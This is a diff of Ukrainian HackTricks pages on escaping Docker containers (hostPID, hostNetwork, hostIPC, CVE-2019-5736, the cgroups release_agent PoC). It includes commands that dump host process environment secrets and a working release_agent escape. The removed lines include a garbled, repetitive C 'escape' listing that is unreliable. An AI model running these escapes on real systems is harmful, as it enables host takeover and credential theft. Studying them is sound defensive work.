@ -440,19 +418,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
|
|||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||||
```
|
||||
|
||||
### hostPID
|
||||
|
||||
Якщо ви можете отримати доступ до процесів хоста, ви зможете отримати доступ до багато чутливої інформації, збереженої в цих процесах. Запустіть тестову лабораторію:
|
||||
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Наприклад, ви зможете перелічити процеси, використовуючи щось на зразок `ps auxn` та шукати чутливі деталі в командах.
|
||||
|
||||
Наприклад, ви зможете переглянути список процесів за допомогою чогось на зразок `ps auxn` та шукати чутливі дані в командах.
|
||||
|
||||
Потім, оскільки ви можете **отримати доступ до кожного процесу хоста в /proc/, ви можете просто вкрасти їхні секрети env**, запустивши:
|
||||
|
||||
Потім, оскільки ви можете **отримати доступ до кожного процесу хоста в /proc/, ви можете просто вкрасти їхні секрети середовища**, запустивши:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -461,9 +435,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
|
||||
Ви також можете **отримати доступ до файлових дескрипторів інших процесів та прочитати їх відкриті файли**:
|
||||
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -473,20 +445,17 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
|
||||
Ви також можете **завершувати процеси та спричиняти DoS**.
|
||||
Ви також можете **вбити процеси та спричинити DoS**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Якщо ви якимось чином маєте привілейований **доступ до процесу поза контейнером**, ви можете запустити щось на кшталт `nsenter --target <pid> --all` або `nsenter --target <pid> --mount --net --pid --cgroup` для **запуску оболонки з тими ж обмеженнями ns** (сподіваємося, ні) **як у тому процесі.**
|
||||
Якщо ви якимось чином маєте привілейований **доступ до процесу поза контейнером**, ви можете запустити щось на кшталт `nsenter --target <pid> --all` або `nsenter --target <pid> --mount --net --pid --cgroup` для **запуску оболонки з тими ж обмеженнями ns** (сподіваємося, ні) **як у цьому процесі.**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
|
||||
Якщо контейнер був налаштований з допомогою драйвера мережі Docker [host (`--network=host`)](https://docs.docker.com/network/host/), стек мережі цього контейнера не ізольований від хоста Docker (контейнер ділиться простором імен мережі хоста), і контейнер не отримує власну IP-адресу. Іншими словами, **контейнер прив'язує всі служби безпосередньо до IP-адреси хоста**. Крім того, контейнер може **перехоплювати ВСІ мережовий трафік, який хост** відправляє та отримує на спільному інтерфейсі `tcpdump -i eth0`.
|
||||
Якщо контейнер був налаштований з використанням драйвера мережі Docker [host (`--network=host`)](https://docs.docker.com/network/host/), стек мережі цього контейнера не ізольований від хоста Docker (контейнер ділить простір мережі хоста), і контейнер не отримує власну IP-адресу. Іншими словами, **контейнер прив'язує всі служби безпосередньо до IP-адреси хоста**. Крім того, контейнер може **перехоплювати ВСІ мережовий трафік, який хост** відправляє та отримує на спільному інтерфейсі `tcpdump -i eth0`.
|
||||
|
||||
Наприклад, це можна використовувати для **перехоплення та навіть підробки трафіку** між хостом та екземпляром метаданих.
|
||||
|
||||
|
@ -495,15 +464,13 @@ docker run --rm -it --network=host ubuntu bash
|
|||
* [Опис: Як зв'язатися з Google SRE: Зброшення оболонки в хмарну SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM сервісу метаданих дозволяє підвищення привілеїв root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Ви також зможете отримати доступ до **мережевих служб, прив'язаних до localhost** всередині хоста або навіть отримати доступ до **дозволів метаданих вузла** (які можуть відрізнятися від тих, які може отримати контейнер).
|
||||
Ви також зможете отримати доступ до **мережевих служб, прив'язаних до localhost** всередині хоста або навіть отримати доступ до **прав метаданих вузла** (які можуть відрізнятися від тих, які може отримати контейнер).
|
||||
|
||||
### hostIPC
|
||||
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
|
||||
З `hostIPC=true` ви отримуєте доступ до ресурсів міжпроцесної комунікації (IPC) хоста, таких як **спільна пам'ять** в `/dev/shm`. Це дозволяє читати/писати там, де ті самі ресурси IPC використовуються іншими процесами хоста або підпроцесами. Використовуйте `ipcs`, щоб докладніше дослідити ці механізми IPC.
|
||||
З `hostIPC=true` ви отримуєте доступ до ресурсів міжпроцесного зв'язку (IPC) хоста, таких як **спільна пам'ять** в `/dev/shm`. Це дозволяє читати/записувати там, де ті самі ресурси IPC використовуються іншими процесами хоста або підпроцесами. Використовуйте `ipcs`, щоб докладніше дослідити ці механізми IPC.
|
||||
|
||||
* **Огляд /dev/shm** - Шукайте файли в цьому місці спільної пам'яті: `ls -la /dev/shm`
|
||||
* **Огляд існуючих засобів IPC** - Ви можете перевірити, чи використовуються які-небудь засоби IPC за допомогою `/usr/bin/ipcs`. Перевірте це за допомогою: `ipcs -a`
|
||||
|
@ -511,23 +478,21 @@ docker run --rm -it --ipc=host ubuntu bash
|
|||
### Відновлення можливостей
|
||||
|
||||
Якщо системний виклик **`unshare`** не заборонено, ви можете відновити всі можливості, запустивши:
|
||||
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
|
||||
### Зловживання простором користувача через символічні посилання
|
||||
|
||||
Друга техніка, пояснена в пості [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), показує, як ви можете зловживати прив'язками монтування з просторами користувачів, щоб впливати на файли всередині хоста (у цьому конкретному випадку - видаляти файли).
|
||||
Друга техніка, пояснена в пості [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), показує, як ви можете зловживати прив'язками монтування з використанням просторів користувача, щоб впливати на файли всередині хоста (у цьому конкретному випадку - видаляти файли).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, які працюють на основі найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation), щоб легко створювати та **автоматизувати робочі процеси**, які працюють за допомогою найбільш розвинутих інструментів спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
## CVEs
|
||||
|
||||
|
@ -535,8 +500,8 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
У випадку, якщо ви можете виконати `docker exec` як root (імовірно, з sudo), ви можете спробувати підняти привілеї, вибравши втечу з контейнера, зловживаючи CVE-2019-5736 (експлойт [тут](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ця техніка в основному **перезапише** бінарний файл _**/bin/sh**_ **хоста** **з контейнера**, тому будь-хто, хто виконує docker exec, може викликати вразливість.
|
||||
|
||||
Змініть навантаження відповідно та скомпілюйте main.go за допомогою `go build main.go`. Отриманий бінарний файл слід розмістити в контейнері Docker для виконання.\
|
||||
Після виконання, як тільки відобразиться `[+] Overwritten /bin/sh successfully`, вам потрібно виконати наступне з хост-машини:
|
||||
Змініть навантаження відповідно та зіберіть main.go за допомогою `go build main.go`. Отриманий бінарний файл слід розмістити в контейнері Docker для виконання.\
|
||||
Під час виконання, як тільки відобразиться `[+] Overwritten /bin/sh successfully`, вам потрібно виконати наступне з хост-машини:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
|
@ -552,7 +517,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Поверхня втечі Docker
|
||||
|
||||
* **Простори імен:** Процес повинен бути **повністю відокремлений від інших процесів** за допомогою просторів імен, тому ми не можемо втекти взаємодіючи з іншими процесами через простори імен (за замовчуванням не можна спілкуватися через IPC, unix сокети, мережеві служби, D-Bus, `/proc` інших процесів).
|
||||
* **Простори імен:** Процес повинен бути **повністю відокремлений від інших процесів** за допомогою просторів імен, тому ми не можемо втекти взаємодіючи з іншими процесами через простори імен (за замовчуванням не може спілкуватися через IPC, unix сокети, мережеві служби, D-Bus, `/proc` інших процесів).
|
||||
* **Користувач root**: За замовчуванням користувач, який запускає процес, є користувачем root (проте його привілеї обмежені).
|
||||
* **Можливості**: Docker залишає наступні можливості: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Це syscalls, які **користувач root не зможе викликати** (через відсутність можливостей + Seccomp). Інші syscalls можуть бути використані для спроби втечі.
|
||||
|
@ -601,65 +566,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
### Втеча з Docker контейнера
|
||||
|
||||
Цей код використовує низькорівневі системні виклики для втечі з Docker контейнера та отримання привілеїв користувача на хост-системі.
|
||||
|
||||
`````c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#define __NR_mkdir 39
|
||||
|
||||
int main() {
|
||||
syscall(__NR_mkdir, "/tmp/root", 0755);
|
||||
chdir("/tmp/root");
|
||||
syscall(__NR_mkdir, "dev", 0755);
|
||||
syscall(__NR_mkdir, "pts", 0755);
|
||||
syscall(__NR_mkdir, "shm", 0755);
|
||||
syscall(__NR_mkdir, "mqueue", 0755);
|
||||
syscall(__NR_mkdir, "net", 0755);
|
||||
syscall(__NR_mkdir, "proc", 0755);
|
||||
syscall(__NR_mkdir, "sys", 0755);
|
||||
syscall(__NR_mkdir, "cgroup", 0755);
|
||||
syscall(__NR_mkdir, "selinux", 0755);
|
||||
syscall(__NR_mkdir, "apparmor", 0755);
|
||||
syscall(__NR_mkdir, "overlay", 0755);
|
||||
syscall(__NR_mkdir, "aufs", 0755);
|
||||
syscall(__NR_mkdir, "overlay2", 0755);
|
||||
syscall(__NR_mkdir, "lxc", 0755);
|
||||
syscall(__NR_mkdir, "lxcfs", 0755);
|
||||
syscall(__NR_mkdir, "docker", 0755);
|
||||
syscall(__NR_mkdir, "docker-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd", 0755);
|
||||
syscall(__NR_mkdir, "runc", 0755);
|
||||
syscall(__NR_mkdir, "containerd-sock", 0755);
|
||||
syscall(__NR_mkdir, "runc-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock-sock", 0755);
|
||||
syscall(__NR_mkdir, "containerd-shim-run-data-root-sock-sock-sock-sock-sock-sock-sock-sock-sock
|
||||
{% tab title="syscall_bf.c" %}Цей код використовує прямі системні виклики для виконання привілейованої інструкції у контейнері Docker. Це може призвести до підвищення привілеїв і виходу за межі контейнера. Рекомендується уникати використання прямих системних викликів у ваших додатках для забезпечення безпеки. {% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -695,13 +602,11 @@ else
|
|||
printf("OK\n");
|
||||
}
|
||||
}
|
||||
`````
|
||||
|
||||
```
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
````
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Container Breakout through Usermode helper Template
|
||||
|
||||
|
@ -725,26 +630,24 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks'></div>
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,35 @@
|
|||
# Втеча з контейнера Docker через втечу cgroups release\_agent
|
||||
# Втеча з контейнера Docker через використання release\_agent cgroups
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтеся в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтеся в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакінг-трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
**Для отримання додаткових відомостей дивіться [оригінальний пост у блозі](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** Це лише краткий огляд:
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** та пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти скомпрометовані** **шкідливими програмами-крадіями**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вірусів-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Для отримання додаткових відомостей дивіться** [**оригінальний допис у блозі**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Це лише краткий огляд:
|
||||
|
||||
Оригінальний PoC:
|
||||
```shell
|
||||
|
@ -25,50 +39,63 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Доказ концепції (PoC) демонструє метод використання cgroups шляхом створення файлу `release_agent` та спровокування його виклику для виконання довільних команд на контейнерному хості. Ось розбір кроків, що включаються:
|
||||
Доказ концепції (PoC) демонструє метод використання cgroups шляхом створення файлу `release_agent` та спричинення його виклику для виконання довільних команд на контейнерному хості. Ось розбір кроків, які беруть участь:
|
||||
|
||||
1. **Підготовка середовища:**
|
||||
- Створюється каталог `/tmp/cgrp` для використання як точка монтування cgroup.
|
||||
- Контролер cgroup RDMA монтується до цього каталогу. У випадку відсутності контролера RDMA рекомендується використовувати контролер cgroup `memory` як альтернативу.
|
||||
* Створюється каталог `/tmp/cgrp` для використання як точка монтування cgroup.
|
||||
* Контролер cgroup RDMA монтується до цього каталогу. У випадку відсутності контролера RDMA рекомендується використовувати контролер cgroup `memory` як альтернативу.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Налаштування дочірнього Cgroup:**
|
||||
- В монтуємому каталозі cgroup створено дочірній cgroup з назвою "x".
|
||||
- Сповіщення увімкнені для cgroup "x", записавши 1 у файл notify_on_release.
|
||||
* Дочірній cgroup з назвою "x" створюється в монтуємому каталозі cgroup.
|
||||
* Сповіщення увімкнені для cgroup "x", записуючи 1 у його файл notify\_on\_release.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Налаштування агента вивільнення:**
|
||||
- Шлях контейнера на хості отримується з файлу /etc/mtab.
|
||||
- Потім файл release_agent cgroup налаштовується на виконання скрипта з назвою /cmd, розташованого за отриманим шляхом хоста.
|
||||
* Шлях контейнера на хості отримується з файлу /etc/mtab.
|
||||
* Потім файл release\_agent cgroup налаштовується на виконання скрипту з назвою /cmd, розташованого за отриманим шляхом хоста.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Створення та налаштування сценарію /cmd:**
|
||||
- Сценарій /cmd створюється всередині контейнера та налаштовується для виконання ps aux, перенаправляючи вивід у файл з назвою /output у контейнері. Вказується повний шлях до /output на хості.
|
||||
* Сценарій /cmd створюється всередині контейнера та налаштовується для виконання ps aux, перенаправляючи вивід у файл з назвою /output у контейнері. Вказується повний шлях до /output на хості.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Запуск атаки:**
|
||||
- Процес запускається в дитячому cgroup "x" і негайно припиняється.
|
||||
- Це спричиняє виконання `release_agent` (скрипту /cmd), який виконує ps aux на хості та записує вивід до /output всередині контейнера.
|
||||
* Процес запускається у дитячому cgroup "x" і негайно припиняється.
|
||||
* Це спричиняє виконання `release_agent` (сценарій /cmd), який виконує ps aux на хості та записує вивід до /output у контейнері.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** і пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти** **пошкоджені** **викрадачами вірусів**.
|
||||
|
||||
Основна мета WhiteIntel - це боротьба з захопленням облікових записів та атаками від шифрувального вірусу, що виникають внаслідок вірусів, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,25 @@
|
|||
# Чутливі монти
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
